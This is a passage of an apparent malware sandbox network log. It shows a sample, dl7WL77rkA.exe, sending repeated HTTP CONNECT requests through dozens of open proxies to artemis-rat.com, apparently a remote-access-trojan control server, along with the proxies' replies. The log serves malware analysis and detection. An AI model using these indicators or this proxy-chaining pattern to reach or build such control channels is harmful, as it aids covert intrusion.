Mar 11, 2024 03:30:44.179681063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.996923923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405591965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.217849016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.014802933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.905126095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.514575958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1345	192.168.2.5	52087	79.110.196.145	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.536935091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1346	192.168.2.5	53545	125.122.26.242	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.547410011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1347	192.168.2.5	52078	103.169.149.254	1111	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.552999020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.362740040 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1348	192.168.2.5	53637	104.18.220.95	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.566050053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.721604109 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1349	192.168.2.5	53568	195.154.172.161	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.571873903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:32:43.185669899 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:43.998756886 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:44.894727945 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:46.687155008 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:50.272243023 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:57.438718081 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:33:11.774764061 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1350	192.168.2.5	51938	171.244.140.160	34559	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.583686113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.592690945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1351	192.168.2.5	53583	134.209.189.42	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.586477995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.880511999 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1352	192.168.2.5	53572	5.9.98.142	3438	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.588726044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1353	192.168.2.5	53570	94.23.84.25	8118	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.589096069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.742468119 CET	161	IN	HTTP/1.1 503 Too many open connections Proxy-Agent: Privoxy 3.0.21 Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1354	192.168.2.5	51932	105.112.140.218	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.646192074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.701957941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.935082912 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1355	192.168.2.5	53080	103.174.102.127	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.646298885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.694468975 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:30:47 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of
Mar 11, 2024 03:30:47.694647074 CET	270	IN	Data Raw: 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at artemis-rat.com Port 44

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1356	192.168.2.5	53552	27.65.240.157	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.646677971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1357	192.168.2.5	52400	72.195.114.169	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.646747112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1358	192.168.2.5	52093	114.79.148.218	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.646804094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.702035904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.702207088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.717706919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1359	192.168.2.5	52091	27.147.131.122	8090	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.652465105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.702054024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.014017105 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1360	192.168.2.5	53615	103.151.20.131	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.652965069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.445910931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.505959988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.572614908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.701963902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.905103922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.074121952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1361	192.168.2.5	52042	115.167.124.75	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.653268099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.624375105 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1362	192.168.2.5	53598	31.44.82.2	38080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.653311014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.405092001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.499130011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.626965046 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1363	192.168.2.5	53620	185.217.143.23	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.659826040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1364	192.168.2.5	53557	103.83.36.1	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.660538912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1365	192.168.2.5	53581	78.38.108.199	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.696978092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1366	192.168.2.5	53549	102.132.50.6	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.697710037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1367	192.168.2.5	53645	150.230.96.150	19291	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.697961092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1368	192.168.2.5	53671	172.67.182.107	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.699110985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.854408026 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1369	192.168.2.5	53641	115.146.225.137	10046	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.743164062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.446008921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1370	192.168.2.5	53654	200.10.73.210	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.743355989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1371	192.168.2.5	53735	172.67.181.147	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.743467093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
